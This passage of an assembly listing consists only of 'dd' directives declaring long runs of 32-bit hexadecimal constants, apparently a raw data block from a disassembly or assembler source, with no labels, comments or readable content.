8F3D0EC4h, 6CE94D06h, 8016D8F0h dd 0B2E4F5EBh, 61871324h, 2600E2C3h, 0DB453B54h, 0FD08A581h dd 0FDEF3001h, 1DB29EDh, 410D0EAh, 0F8DAC14Dh, 66730988h dd 1485634Bh, 0BB6E25Ch, 485BD821h, 86BB2849h, 0AF5BFB96h dd 0AD45FB99h, 7154F812h, 0E2D49465h, 8BCAA31Dh, 31A481D1h dd 36FD3885h, 740D8FCh, 28585C5Bh, 9C15DFE0h, 77C5544Ah dd 0A2DB60Ah, 5113502Ch, 8B362F0Eh, 5C0184DAh, 752F3FA1h dd 0C1B6B865h, 1568F9F7h, 8AB875C6h, 0B880A6EAh, 885C1E06h dd 0C1299717h, 6B756843h, 3952098Ch, 0D113FA88h, 3E3DA65Ah dd 0E90884D0h, 5FCA429Dh, 0C7E20B76h, 5356366Ch, 0DB151B03h dd 800C1211h, 529C0454h, 0D500EA5Fh, 79847EE4h, 1EF87A29h dd 5A6FE005h, 0F2841055h, 0A10AFCE8h, 0A79658ACh, 44931CE7h dd 872EBF09h, 30C9F31Dh, 0C5C68904h, 9881080Bh, 49353974h dd 0B031CDF0h, 80324E2Ah, 751A0500h, 5F4F5826h, 75072D14h dd 2527CF16h, 0CD968A05h, 1AA0F791h, 893002C1h, 0E42613D3h dd 0F58AF04Bh, 0EDB1209Fh, 0A1121AC5h, 4212E4B9h, 41A18183h dd 78056AD0h, 77073C38h, 12660959h, 6CACD4F6h, 9BCF800Fh dd 0AC5CD1A4h, 83069640h, 2CCCBEh, 51D830ACh, 29B35352h dd 5BDE8800h, 0E967E680h, 0EF1D6750h, 1AF9D65Ah, 963CC93Eh dd 0C8A34544h, 0E002977Bh, 0A650554Dh, 6FDE5D49h, 465202C6h dd 6B80D7B0h, 2C0835Eh, 1370E912h, 2C68CCC8h, 58A928B1h dd 52BAB4E9h, 0ED0C94B5h, 5503601h, 0B76DA204h, 71AE0416h dd 0E2580BC6h, 7C6AEC05h, 8386A0C7h, 6B199661h, 0E91A9B94h dd 0FC372D78h, 0D27515C8h, 6685805h, 0B19EE834h, 9C3C5DE9h dd 0A05536Bh, 5FAE15Eh, 999CA96Eh, 6811020Ch, 0E92D8943h dd 0F7A26025h, 5021F7D3h, 24A5E640h, 0D156170Ah, 405012EDh dd 0D8F74074h, 2031705h, 50357B7Fh, 0D25DA7C5h, 2D1567Eh dd 0E322E90Eh, 0B78B3B75h, 0F307BACBh, 0A64AA591h, 133F8E7Fh dd 5304298Ah, 0A3054468h, 0A88A180Dh, 1FBDEA6Dh, 0A6C14983h dd 5A8C2056h, 543E0EA0h, 6E972DCDh, 0CF796D8Ah, 74EA520Ch dd 3D7BA745h, 5500E72Eh, 5E68DD89h, 46A59C5Fh, 7090681h dd 96A326Fh, 0BFE570A0h, 3D1C13B0h, 935E34C9h, 6C12DAF9h dd 51809DE3h, 1B3F22F5h, 46F3C8A2h, 91652601h, 403F310Ah dd 0EF25DBF2h, 4126E969h, 0B1C0DC4Dh, 9E514427h, 275126D3h dd 0CBDEE062h, 306C5804h, 3507F6ACh, 0E8B11A1h, 0BB7DFDA2h dd 0E9131DF8h, 0EBA44F8Fh, 0A8ED5DFAh, 6840F82Fh, 2BE7595Bh dd 876C7BD0h, 9F5AF201h, 0A4F4536Ch, 32776BB2h, 80C0564Eh dd 0E6E2E480h, 1DA76F4h, 0E62877C4h, 395BF3E9h, 10A6D4D0h dd 5E2E1DD2h, 734C2517h, 0AC05EA00h, 32F18169h, 2274C15h dd 97D84D24h, 0EACE0F87h, 8239B582h, 6C1F09DFh, 0B8C6EE3Ah dd 16649F7Fh, 72EFA625h, 0F79290FBh, 7088992Bh, 0C1828782h dd 346CB131h, 71399FA6h, 417F705Eh, 677DE107h, 0C9600E05h dd 48292266h, 9C0C8D2Eh, 0E1180F7Bh, 9123841Ch, 86061EACh dd 27704CE3h, 3D7A5BD9h, 5C04594Ah, 5F1BCE9h, 0A9852E23h dd 0F26DD1EBh, 28FDE1C9h, 4AF25082h, 30A93C13h, 0D4BA30Dh dd 0B51DFE60h, 368DCA98h dd 54A4299Dh, 5363925h, 0E0F70A0Eh, 0EDF669EEh, 0F528C305h dd 7AB862E9h, 4024953Bh, 0D15D8549h, 0FD2F80EAh, 3E1276B5h dd 4A04D321h, 14B84F1Ah, 0E17401D2h, 30419822h, 6D559681h dd 1D5D4010h, 0EBB8550Eh, 39B43620h, 0DD12D388h, 0A936085Bh dd 0AB88913h, 431FCF03h, 0E7B05122h, 20EC0709h, 5789FFF9h dd 0FDA96073h, 0D85BBC98h, 6CF6D1C5h, 7A9ACD5Bh, 74850213h dd 95932BA8h, 6BBE82FDh, 347D9EB1h, 469D3337h, 8875B181h dd 6804A275h, 4DE820BEh, 2131A4D2h, 5FE9E809h, 0D212B22Eh dd 1B8BA035h, 0F5E79FF1h, 0E61838A4h, 1D50CD1Fh, 9776B841h dd 0FC5005E5h, 0FA00AE52h, 65ABBE56h, 316328B6h, 0D27920E2h dd 0A6EC8002h, 5DA0B753h, 0D0B17FA1h, 29EFF4E7h, 0BBFC3028h dd 0D9D40925h, 685D821Dh, 0BBD469D8h, 9E79E760h, 0C14B1678h dd 0CBDF00E3h, 12FD11FEh, 0CFB44350h, 2EEB447Ch, 0E961E897h dd 5AA5AAB1h, 0C7EFBE40h, 4DE87D1Fh, 36C26E52h, 0D898D566h dd 8082482Fh, 8E231CF8h, 10014B07h, 0F06008CEh, 5C845E0h dd 3A09C2B8h, 0E3576A78h, 11CEC845h, 0FE55E270h, 0EEBE7FEEh dd 9A099FCFh, 5A33BF45h, 31EE8402h, 53E624Bh, 9F750F87h dd 6BF64F0h, 401849DDh, 7013C881h, 76800FDBh, 2FF52FF1h dd 0BA78C12Ah, 2A01A589h, 1D4B7300h, 25310F5Dh, 7F425BDFh dd 68415874h, 496B1F2Ch, 4846DC0Ah, 790D8D9Eh, 3121217Bh dd 77B1D03Eh, 7D5AF14Fh, 0AE403EB1h, 50A7330Dh, 10B39135h dd 5A3B0108h, 0BD0CF158h, 6DA22F28h, 0A57D02E2h, 0FBD3FB45h dd 0C858E209h, 7EFE1DFBh, 0CBD02D64h, 30021CC9h, 5E37277Ch dd 85A0FA04h, 0C0360903h, 0FA65380Ch, 1754E993h, 3F03B7A9h dd 0EFC0D7F6h, 60E79A06h, 80EE9AEDh, 5848E128h, 2C3F2006h dd 0C5B9CE89h, 0E2E70346h, 0F7D1F838h, 0A4E682D6h, 0C029822Bh dd 40027Eh, 0BE04F40Dh, 35DE2D14h, 9989AA3h, 0B6083D16h dd 16ADFE9h, 69599BBEh, 650C2038h, 62F86119h, 9DD85552h dd 95094B27h, 4DFE8239h, 2D38C009h, 0C2688152h, 0F1ABB3D7h dd 0AF48BED1h, 395B3EB8h, 176A62E0h, 0B5AB41C9h, 23791205h dd 900BCFD9h, 501AD2F1h, 41479908h, 5CB6F62h, 7BFD3610h dd 42A66495h, 0AC5113D2h, 5AD46EB8h, 5589462Fh, 2C438EF9h dd 0EC0B9555h, 7678D0C5h, 0DBDA2459h, 4DF98D4h, 0F290E7C1h dd 98ECC4F0h, 7000EE4Ah, 0E9505655h, 70899542h, 0EE517B7Eh dd 31574D09h, 0E5292BB6h, 0EB0C002Ah, 13CA3825h, 260BAA1h dd 9AC2A331h, 87A30C45h, 12E43D3h, 19F335A0h, 0DA039201h dd 31E9D989h, 0DEC53BE7h, 0C5858CAFh, 0B0E0E85Ah, 9F9F96E9h dd 0A0E76548h, 189A3012h, 3BBA54E0h, 89972302h, 0D72508F9h dd 391CBF03h, 36AFEFECh, 31ADB442h, 0C5C740D8h, 1CC7204Eh dd 0CC25C0A1h, 5B904587h, 43D88BBFh, 5C06499Ah, 3AB10272h dd 2F98E92Ch, 0A04907F9h, 215E3126h, 83681754h, 0C2A7AC6Ah dd 40359CBBh, 90EBC112h, 0FCBAE6CDh, 0F1364F0Dh, 7092008Eh dd 4E619E7Ch, 0AAB2301Eh, 2DD4FECAh, 617EA080h, 0CD450158h dd 0A14511A5h, 0E980222Fh, 0D1B4AB70h, 3EADA694h, 0A3392492h dd 7B681788h, 0CC96105Fh, 0C6FE8344h, 9D6A43BBh, 0A0EDEF6h dd 2A02C6Bh, 4A7AE9F0h, 84945F85h, 512049BAh, 5EBE4EA2h dd 19068CE7h, 0AD81EF8Dh, 0B55AB124h, 0AEF6CFC8h, 69FC5281h dd 8E53941Fh, 1D8F1140h, 0F9218F6Bh, 0C9C88950h, 2818E9C5h dd 6B204C0Dh, 8012217Ah, 843BC8F1h, 8803EE61h, 0D7282FC1h dd 28A59593h, 9A94D32h, 1574CACDh, 2026B58h, 55E922D3h dd 0A86C7B52h, 14DD30ACh, 990B80Dh, 2D33E200h, 4FD1036Ch dd 54AE000Dh, 5D25041Dh, 74007B62h, 0ED264E35h, 3844053Bh dd 0E98BC9F7h, 4544EA99h, 19589D13h, 9E541827h, 0B145A1Dh dd 4528776h, 16AE8292h, 3E77A60Fh, 4858925Eh, 0CED2C2A3h dd 0CFFF52A8h, 2A987683h, 0C8AF180Fh, 43EAA451h, 0D78726D2h dd 912E482h, 0C89936C3h, 7BC5D959h, 2E5A4E4Ah, 21FA3044h dd 1F41CFDh, 0DC0CF81h, 0C72CC09Fh, 0C6689D85h, 90FD8927h dd 9A11CF7Fh, 703E02F4h, 4F5F26B2h, 7441F040h, 61825C71h dd 89E08782h, 0A210D231h, 6A34752Eh, 13EF709Dh, 0F86E1345h dd 68E34F4Dh, 7D82B569h, 0B27FB5F7h, 6C0B5DCFh, 0E967A0F9h dd 39885DACh, 0ECA658E5h, 0B8A113DEh, 5FCA4A32h, 8E59F05Bh dd 3EDCF65Eh, 21CB4125h, 93D77AD8h, 17C860B3h, 0E35FFBBDh dd 0FD277EC3h, 518911E5h, 3265C3E5h, 0EB652D8h, 0FEF68042h dd 82EFCE64h, 0EF48D4EAh, 880284C6h, 0FE515AF5h, 0E00BDF4Ch dd 0C064D4C8h, 3806E53Bh, 0FC126ECDh, 21DAE819h, 27714B75h dd 0A40F143Eh, 0D137BF04h, 7FB4C113h, 217A714Bh, 83832BFBh dd 76AC9070h, 123EF7E9h, 0E0FFA8BAh, 0D6A003E9h, 0ED790720h dd 4D27A08Dh, 1C4C6F21h, 9C841722h, 939B1AB3h, 7723F5C8h dd 0F7670B09h, 307B07DDh, 0E9034B60h, 956BBAF8h, 170B22E1h dd 46E0D4C4h, 38480BBEh, 9654342Eh, 0A1E68100h, 0D215F16Bh dd 3E91F12h, 74774378h, 5095F6F8h, 0C1EA230h, 0F3369787h dd 0C7AF7561h, 5AA52795h, 40702713h, 0B7926A51h, 5083E8E0h dd 0DDE5B8C5h, 67B8BF7Eh, 4901F28h, 5794236Bh, 8F958151h dd 14A00528h, 12683966h, 919674h, 0F636B753h, 412EE9DFh dd 4245344Bh, 0ED7B40EFh, 6C6F66BAh, 0F0B42FBDh, 0C85B5E7Ah dd 23D971Bh, 0EDBD0F55h, 0B494D84Fh, 0FEE91819h, 29C64B5Ch dd 5DBF7614h, 0D3A40498h, 21E043BAh, 248C2768h, 34CFAB98h dd 8145E200h, 0AE573DF2h, 0D7290B4Eh, 0FFDC79E9h, 9452A8CAh dd 49C69F23h, 592F2FB6h, 6A6D30C1h, 6DB86D7Dh, 5F056020h dd 2A08295Eh, 0FBEF312Ch, 0FCE693F2h, 0B545C46h, 38EDE917h dd 680289EDh, 0AB04EABh, 24EBEBC0h, 0F14D2209h, 5B1E5421h dd 3B8AC1B0h, 316C0202h, 0F0BEE9CDh, 0C3302F54h, 6468A081h dd 27697B0Ah, 3292BD40h, 842C509Fh, 6F3F39B5h, 1EFE0113h dd 801C6082h, 263DDBF7h, 171E095Bh, 28E0EF47h, 0B45066C1h dd 0BCDEE9D8h, 4590711h, 0C6DB2479h, 8924DF50h, 4A089AC7h dd 777A2F45h, 0A703EFBDh, 0AA73619Ah, 5F0D208h, 5F60F168h dd 0E07D5720h, 52015F87h, 71BB6857h, 3F600B6Fh, 0A6D1833Eh dd 0F5E57C19h, 29C209ACh, 8465BD8h, 18CD2C5Eh, 9E90E84h dd 0CD4D9820h, 72AF6CBh, 3CE1E237h, 603F2131h, 0DAF74208h dd 0BA525300h, 7859037Fh, 0B5A25E9h, 3C90F7DAh, 0C01C297h dd 6B8503Ch, 0BD5AD922h, 0FD810BBCh, 0A6172059h, 4FEA370Eh dd 4096D429h, 30975D08h, 0A19A9D11h, 446ED290h, 1399F444h dd 2D87FC80h, 0C420E59Dh, 0E907A0F5h, 717B9C0h, 0D63371C6h dd 8B0B946Ah, 0D61527Ch, 33FC19Fh, 3453756Dh, 4812B395h dd 5DA602ADh, 58403E97h, 213506FDh, 4E7EAE38h, 0A0255B74h dd 402AEA0Ch, 0B90E960h, 29B094D4h, 0BECECD82h, 5500CF08h dd 807C83BDh, 313FBE49h, 7989E971h, 770992FBh, 0B827607Bh dd 0E460789Eh, 5BF0F3F7h, 2818C5BAh, 3835A8F5h, 0FBF4016h dd 7D0C6D1Dh, 26B29746h, 0CCD85B5Ah, 2C3A40A8h, 5AA1FA4Bh dd 0FC4BD9D3h, 1B6C0A74h, 0D452E77Dh, 79B0E3E1h, 220C0494h dd 63C03D51h, 0BC3E8A5h, 5AD731FEh, 6DE2Dh, 0AB55EFEEh dd 181F48h, 214E0795h, 803538E9h, 57141DBEh, 4CE5592h dd 0AA6DA8E7h, 560546FCh dd 0EF17C9E9h, 2C67131h, 1E5A1E16h, 0EDC0D61Fh, 81E5D101h dd 189D09CDh, 40D07376h, 4E3612C1h, 0B2022F1h, 54B8B879h dd 0E568B964h, 448C983Eh, 79DF0909h, 2DACD855h, 0A971D6F7h dd 200B458Ch, 958679E9h, 5055D964h, 99022DFh, 327CE068h dd 9D7F46AFh, 60501440h, 0E942170Eh, 680AB0C7h, 0A64716AEh dd 50560F95h, 0D7320A81h, 0E453009h, 0C24B4967h, 92A01F74h dd 52D30FBBh, 364462C7h, 9F53ABF3h, 612BECCDh, 27F3C8h dd 2D6FFEBBh, 4E523945h, 12D95D38h, 5F829B4h, 4BDCE28h dd 72BA495Fh, 5A48FD59h, 301A9AB2h, 68FC7298h, 6C01EE07h dd 23DE089h, 0B253EEE9h, 78DCE3C1h, 244B7D4h, 714E07E6h dd 98E09DF5h, 0F72A5035h, 27A574F6h, 92602996h, 548E2C1h dd 40BE013Fh, 0B4E97FA4h, 0F279162Eh, 0B1E9A0A7h, 0F92DC1CEh dd 0E8E1D15Fh, 0C1BAA72Bh, 740A9B0h, 0D3061FFDh, 5196C928h dd 0E668F2D4h, 3117CE2Dh, 21429B84h, 0FB17DCC5h, 0EA91A095h dd 0BD563706h, 29AA1463h, 3939AD5Ah, 0D13D052Bh, 0D4AC05E8h dd 121CF896h, 7B3616AAh, 203A107h, 1610E6C2h, 0A2EE53E9h dd 0E4B204D6h, 0E982F280h, 6E4054D4h, 0E058E507h, 0E83054C5h dd 0B252590Fh, 83CA257Eh, 765F8382h, 63EC024Ah, 0D9D058E9h dd 82AE459Dh, 98F9E953h, 0A06096F5h, 251BC9F8h, 0E3407D35h dd 12BA5951h, 0C5315077h, 525B0F14h, 83864F22h, 0E027FEEAh dd 9B0A1CD8h, 7679AF70h, 4D433F93h, 0C1F4B353h, 6B8B50A4h dd 0DA7C7B68h, 51A1E089h, 0D3871ADFh, 0E0A519EBh, 0B441AFABh dd 0BDA511Dh, 14BD926Ch, 6BF39073h, 0A2B43A4h, 0A5BE5374h dd 54B2C1A1h, 522FCC6Eh, 0E912BA42h, 0C0858094h, 6CF07EFh dd 58886506h, 4F52FE32h, 797127EEh, 5961E985h, 9392ACACh dd 0A8DD549Fh, 0E33A2CDh, 536F8AACh, 315B5F13h, 0D3DE9AB2h dd 0C3FBA1C3h, 1CA568A0h, 105E7DF1h, 5B2C9ABCh, 62234776h dd 0B8E36AABh, 15361B8Ch, 0EB37C8F5h, 158C602h, 0A4FE5EF7h dd 0E9D5E2C5h, 81011300h, 3F46FBCAh, 8C17356Bh, 9076B909h dd 89A64A93h, 62DC668Bh, 2595A84Eh, 0AC98776Ch, 582B85B7h dd 8F53D25Eh, 48E03525h, 0B0122C03h, 0BEE0805h, 0FBEBBB3Eh dd 8928B36Fh, 83A42923h, 51967CBh, 0FE10B0A5h, 2E6F82C0h dd 0D1690107h, 0BF578774h, 559B3096h, 20BFDFF7h, 6C606D1Ch dd 20CC16Eh, 3F3BF848h, 0A9A9C3C5h, 0ECCCE984h, 0B12D0026h dd 56FE627h, 0B97117E0h, 1074F87Dh, 0E44EDF4Fh, 9409F5EDh dd 60216826h, 5D82E9BEh, 6354E310h, 531B18A5h, 1D020F14h dd 14F6E10h, 53D3522Fh, 834A6B0Bh, 0B06856B5h, 4C5DFC05h dd 20BE95Eh, 284E352h, 76BBB9CBh, 6885200Fh, 0A5CF8FCCh dd 17951E8Dh, 485E29EAh, 0F34E216Bh, 0F31CCD53h, 20BED2C0h dd 97E80184h, 6816FC14h, 43B90219h, 0AE497680h, 5378577Dh dd 8FBE5B7Dh, 0B291A920h, 5C1A8F09h, 0CF0A69BAh, 5053AA6Dh dd 9C0D752h, 0C1114B09h, 7505DA09h, 0EDFEA4E5h, 0AB4D0528h dd 60696E9h, 0C4C53520h, 0FE771345h, 108AE829h, 0C17E0E0Ah dd 0C92D93C0h, 0D9FB6035h, 9B680841h, 0A812CB6Eh, 92E9C536h dd 7F3057E5h, 0DA6C03CAh, 5E7C155h, 9572FFAh, 0E25579E4h dd 4FDC4CCAh, 2C17E7C2h, 0B0BD54FAh, 9D67383Fh, 9F58C46h dd 88A88330h, 7126F4C3h, 2B1B7F2Fh, 0D67E05A1h, 0FC226BC1h dd 3A815FADh, 0F222EF91h, 0ED520413h, 595CC9CBh, 93F68C7Fh dd 920BE365h, 6CB80Dh, 0C5D93641h, 0D80900EEh, 0E0C1405Bh dd 7E073505h, 89820C56h, 0A443599Bh, 81BB344Eh, 0E451CD40h dd 9B75D59h, 4AB87211h, 0B40D9701h, 400BABA2h, 89A9B85Ah dd 0A69E95D4h, 58F24E97h, 0A3845E5Eh, 83BE00B3h, 1213641Eh dd 0AF59CE31h, 0E688403h, 4361252Bh, 0F105FA72h, 0E47AC0A8h dd 94CF9383h, 5B049EBh, 8462E074h, 7231061Dh, 0D59726DEh dd 5AB589E0h, 0CD8206E0h, 50760677h, 676ED38h, 0BD9FE9EFh dd 2DC605CFh, 0F2203006h, 51FDC010h, 124D6F9Eh, 0F33262E9h dd 6067135Dh, 3949D41Fh, 4B367EA1h, 76F6E458h, 975A1A40h dd 0D2EEF740h, 1118A0Bh, 563925FEh, 878C2BB3h, 3A408BE3h dd 7CCF4829h, 4FBAC703h, 0EA200179h, 1AF223h, 81714E05h dd 0A85CB2F2h, 84160B5h, 28C42FE9h, 2043FC69h, 0F5B04BC0h dd 80C56A0h, 870528C0h, 0CCD3F7DAh, 0F4204208h, 0A3372213h dd 0A63107A1h, 0FB68947Ah, 0F0AFF20Ch, 0F4F45FB8h, 2A41996Fh dd 82C2C73Bh, 5E51D879h, 0E5698367h, 1CE985BFh, 2033FA0Bh dd 48B5D259h, 92478F52h, 8C775FDBh, 9840121Ch, 58C50A31h dd 0BD5E5D1h, 0F9EE0921h, 819FF4F6h, 66336847h, 83822357h dd 60F2D66Fh, 0FB22912h, 5F4CFDF0h, 7023469h, 568326C7h dd 23F416F6h, 0ADB05DADh, 0BAB82143h, 1133C73h, 3C09566Ch dd 29C7BE5h, 0B9515B54h, 5F76CB19h, 0FA6FE909h, 0AE734CD2h dd 287DEA0Ah, 0C20CBDD4h, 9F9CC5EFh, 1610EE43h, 0B803D606h dd 11535BE0h, 2AD6D7D2h, 57092629h, 2746F94Bh, 0D3CCB7BAh dd 2002BFF6h, 0D0012558h, 0DC07892Dh, 0E953407Eh, 1C9441F0h dd 39E0D397h, 0E62BEB89h, 91921055h, 1438F969h, 51F25EF3h dd 0D0586839h, 0BE3459B8h, 14850D5Ch, 736F208h, 8218E8C1h dd 2377CF38h, 192E9132h, 0C208EF1Dh, 1EB9CC7Ch, 0F85419FCh dd 740FC6A2h, 69EAB753h, 0D0AAC26Bh, 0FBDC208Ah, 1FC05E4Eh dd 93366A68h, 1DFD0404h, 0C70DC052h, 703B47F2h, 0F9E70209h dd 760F0642h, 5212C3B4h, 37E92BA8h, 0BE5CF2B2h, 0E921313h dd 0CE0212FCh, 5D0A69E0h, 0CF240D5Eh, 0B6BF8C03h, 0AEC01FF4h dd 0E9768214h, 5107ACF3h, 1F973163h, 96DE21A9h, 0E0CED7B3h dd 6BEE3277h, 0FA0E5D60h, 2446C447h, 0EE2AC821h, 28C4336Bh dd 1E626812h, 0B1C552ECh, 3DBC0BEh, 1B73E180h, 25D2C13Ch dd 50A156C8h, 0FEB0F405h, 0AA565732h, 0CD3BDF48h, 0DF5835DAh dd 7C60B800h, 5D0D0169h, 269C033Ah, 736712Dh, 68054090h dd 9BCC0C28h, 0F351882Dh, 9494B0Eh, 509F2657h, 7E30145h dd 9222C6DEh, 0D3B42778h, 0EA880D01h, 0A040CE59h, 6A4BF480h dd 142C39B0h, 0A50BA8E9h, 0D6121381h, 91CA4075h, 2225153Fh dd 5E3209h, 0CD7CE6D2h, 0C90DFA62h, 0DEF06679h, 22901C25h dd 72A2D089h, 24860995h, 4D8257E5h, 6A0E319Dh, 7129FD1h dd 58A6FD84h, 0C0A45550h, 7430C641h, 14F4E57h, 0C084010h dd 27E46CE9h, 663509EBh, 66207751h, 7DBB5352h, 90A07F32h dd 0A9F950FAh, 0C52E1EDEh, 0CB3DFA10h, 0E45C0D97h, 0C649E98Dh dd 81053C04h, 2925CA01h, 7442DD8h, 0D27582h, 0F130ABB1h dd 0C17076C9h, 22C56837h, 86FF313Bh, 19B9148Fh, 233DC217h dd 4D48C8B1h, 0CDB25E56h, 0B1EAE9A0h, 0CB4A36B2h, 57597409h dd 0D332D398h, 7BC137ABh, 0F5433EEFh, 84C00375h, 2D6862A0h dd 6D185071h, 0D31D06A9h, 0D1D8E96Dh, 0BC3975CFh, 0E9527854h dd 9818D420h, 198E39C9h, 0FD92133Dh, 12BDBD42h, 0D4E05866h dd 25B073E6h, 0E34003EEh, 0B1BDE0E9h, 927469EEh, 51709701h dd 265DEA3Bh, 14120EC2h, 9445B5E0h, 3FC637BCh, 416685h dd 0F8287741h, 0DA58F759h, 0F3033DF8h, 5246290Ch, 33AE2216h dd 187C5EC9h, 0F1FEE4AEh, 20A616BDh, 25970AD8h, 58845062h dd 25BB995Eh, 0D952EC78h, 6109A38Ah, 0E68840A6h, 7F51F578h dd 0CFD341BFh, 1A18897Dh dd 0E90782B3h, 71287046h, 45529049h, 0D1F0DB01h, 3175561Dh dd 9DD1F24Eh, 973E06E1h, 6972C0BCh, 1370A88h, 0E4D5A7CFh dd 0BB06E7F8h, 0ECC153B1h, 57C015F4h, 64275BC2h, 5585BD1Fh dd 5E0801EAh, 968E30E9h, 42F95768h, 45C1B6A4h, 3C2038DDh dd 0BB874BC8h, 0E2849ACh, 4492CD0h, 0DADEC93Eh, 0C83101A3h dd 2A913598h, 6060A627h, 62C9E95Fh, 5AD22A3h, 5F125FDEh dd 201CBF12h, 0EC354813h, 0BEC1789Dh, 3BEACA7Ah, 808A4BEFh dd 0C411E916h, 7845EE20h, 5DD98DB5h, 4E6A10E5h, 0B9EBD01Fh dd 11E80D62h, 8B1F6EF1h, 0B296C59Eh, 0B233F282h, 24415C8Bh dd 0BC1E160Bh, 0F068A7E2h, 929D91AEh, 0C515FEC3h, 2A3AE101h dd 0C955DBD8h, 48F95EC1h, 0F1287E4h, 2F756D3Eh, 2E20ED48h dd 590EE6A0h, 28905A81h, 0B85000C8h, 37E21120h, 3C7FD431h dd 4499FE2Fh, 46886F5Ch, 0CB8FD70Eh, 2B562756h, 0D098043Fh dd 7A0630BAh, 2D7D1C61h, 0E7CC992Ah, 5B13E61Eh, 29023B97h dd 0E028339Eh, 1627F600h, 65AF6Eh, 7DE24C1Bh, 0F04801E5h dd 0D2ACB4E5h, 0A5A0B84Ah, 0E189BF81h, 0D54D3D6Fh, 0BB6E34CFh dd 0D148412h, 1BC3EA01h, 16FB474h, 89E37C76h, 4AA13A9Dh dd 98F15342h, 1D51F7C6h, 801B8847h, 0AF6F52CFh, 0E75AD17Ch dd 0A7FE075Fh, 0ABE4EFh, 73A12CC7h, 695D0517h, 0E93E4105h dd 0E9202F56h, 5C6B4482h, 3C0B0D42h, 684C05Ch, 547EB05Ah dd 25555F3Ch, 0F80B89D9h, 20A09865h, 126EC96h, 2610D0F3h dd 0DD315A09h, 40A77259h, 311AB136h, 0B30C78F4h, 0E911E06Fh dd 0AE39062Dh, 377DE419h, 0A505DECDh, 353A1A80h, 0B04D4B56h dd 0AC0BE25Eh, 0D803365Bh, 204A16AAh, 0C0BCE202h, 3B979DBDh dd 99098E4h, 54550EBBh, 8B3285Fh, 0D73E906h, 5CE67777h dd 0C5803EDAh, 3AE023B6h, 0FF3DC297h, 0D34A419Ch, 0E5099897h dd 2F06A1A2h, 264A0352h, 7A054EC2h, 26090E4h, 0BC0D5FF8h dd 758008h, 0BE560431h, 0EAA15823h, 0A538E909h, 68E1365Eh dd 8C6E70EFh, 0BA54FBD6h, 2E98D3CCh, 0E02C326h, 0C5C76DD8h dd 0A25BDA2Fh, 370594ABh, 5D6423C1h, 6E2329AAh, 847FACCDh dd 4B22ABA6h, 602D829h, 9D643D68h, 0FAA89249h, 0C19510B0h dd 10A65490h, 0B00A2069h, 0D4404169h, 96998B0Fh, 5FF93187h dd 0E9D5E839h, 1CF1B2DFh, 2D7A06BEh, 4E081D60h, 0C6BBA5B5h dd 148518C0h, 0A2F34F29h, 0DB68D88Ah, 9689818Ah, 0E8E855E8h dd 4F88F1h, 9542E568h, 20AFB753h, 0BA3FFF7Dh, 62BF020Bh dd 292780A8h, 2EA3367Ch, 135C41BBh, 0E2B64F01h, 0B011C581h dd 0EE670C67h, 84ED47E0h, 0EBF426E9h, 42E8A4A6h, 0D122F2A9h dd 30CEDCEDh, 296D6C80h, 0F30C7360h, 0A28A6B5Bh, 4B93D1F4h dd 45957194h, 8A398AB8h, 8A16C94Eh, 1EBBE914h, 0F577E27Ch dd 32885E9Ah, 34CB4FAEh, 9B74EC0h, 0CBB8299Fh, 0D0A6FA01h dd 4BA6B04Ch, 0F6ED93D8h, 0A492D2B0h, 0BDFACCB8h, 0BB26BC60h dd 904E6AB5h, 0B1F3356Ah, 3A03AE0Dh, 7E2BF8E9h, 26E71641h dd 0C30D0012h, 9A6C99BFh, 524E92Dh, 1FAA93CFh, 0EECBC012h dd 0C1159677h, 3C08EB30h, 610219BCh, 0C6670C53h, 0B560DA95h dd 842608A2h, 8D27A418h, 41DD46C5h, 0DD7749E6h, 69655BF9h dd 1B41F62Ah, 0D8324AAEh, 4CC1FE59h, 0F605A5C0h, 0BEBF68D9h dd 75B3DD31h, 0A125FCF9h, 3005D93Ah, 0D14FBAD0h, 0E74C21F2h dd 0DB3A4015h, 808BB503h, 1FDA65EDh, 5860F7EAh, 1C7453F5h dd 4A975D4Ch, 6C4DE1h, 0B909E7DEh, 5F1E30FCh, 29088A03h dd 930C2EFDh, 26B681E4h, 0BACAC780h, 0DFEFBAFAh, 0B920EE89h dd 165E5EF5h, 6266D841h, 97101549h, 11260E6h, 9D0821F2h dd 0C86801FBh, 0E3FB912Eh, 4715A9EAh, 14F9678Ch, 550712BDh dd 3B20040Ah, 60A11627h, 1FFE7220h, 933DBA48h, 0F22EA4A0h dd 52F80403h, 0E9D329CEh, 916F31E0h, 3908198Eh, 27E0D4FFh dd 80D94093h, 866E03F6h, 0EC8850EEh, 4F42D4BAh, 0D1122F7Eh dd 0DB1C74B8h, 38DA67FDh, 521F88C3h, 5FE998D9h, 72D28195h dd 88791395h, 4CDF2BF2h, 49F99F07h, 27312E4Eh, 9C06BB6Eh dd 952A1F20h, 273E5453h, 4B30056Fh, 102F49C1h, 0C908756Fh dd 91578BDFh, 7819FED1h, 7F82F85Fh, 5B4B5894h, 5E2651E3h dd 4569295h, 1F62156h, 0A5113FBFh, 44F1D320h, 620BC24Bh dd 74D2806Eh, 0FAE82755h, 75C2B68h, 0DD88C72Bh, 59872C21h dd 5AE7F22Ah, 0D210E68Eh, 3E834A87h, 5EF6CA50h, 0E148120Ah dd 0BFF7E9C9h, 50FF9E0h, 769263F8h, 0DB9E3C4h, 0FA01DB58h dd 890EB43Eh, 0A4802CFBh, 414F6F88h, 0B9C43ADAh, 0B40258A4h dd 0E13D08B9h, 0DCF310Bh, 43290883h, 0C80784h, 4F15BB53h dd 4B552D81h, 4D7C0E0Bh, 3C70B3C0h, 0F8C2FD73h, 123CFD4Dh dd 0A050B8B5h, 0CB06FAE9h, 3B00AD1Ch, 319243D6h, 140D0CC1h dd 80450AB3h, 1FFBDD80h, 4A334045h, 3109D2A0h, 0A26D3930h dd 9142DE2h, 3A36E932h, 8B003975h, 5A95FCCAh, 5123C240h dd 0EB68C767h, 2508548Eh, 683AD95Dh, 0BE291408h, 0FC52E982h dd 0BE4720DCh, 2CBFA41Fh, 479E0BFAh, 967F22C2h, 0FD61D2E4h dd 78E9A0CCh, 7F18954Ah, 0E69536C7h, 40B2002Ch, 0B050DAF6h dd 0F3162C51h, 0F98023E9h, 2574A3BAh, 35F12B11h, 495E5A17h dd 0E608DD4Bh, 9FB49E2h, 5E2EC85Fh, 0B98908BEh, 4F9A64CAh dd 93ED9154h, 0A4216BB8h, 75E9C329h, 2F231E7Ah, 1C0319C0h dd 89E6EF0Fh, 1F94E6FAh, 0CBDF4FC1h, 40EF02D9h, 7C5534E0h dd 0AF5F44C4h, 4FFE2704h, 5C802D84h, 616C289Bh, 78860C73h dd 6CA13A67h, 0A8C3177Bh, 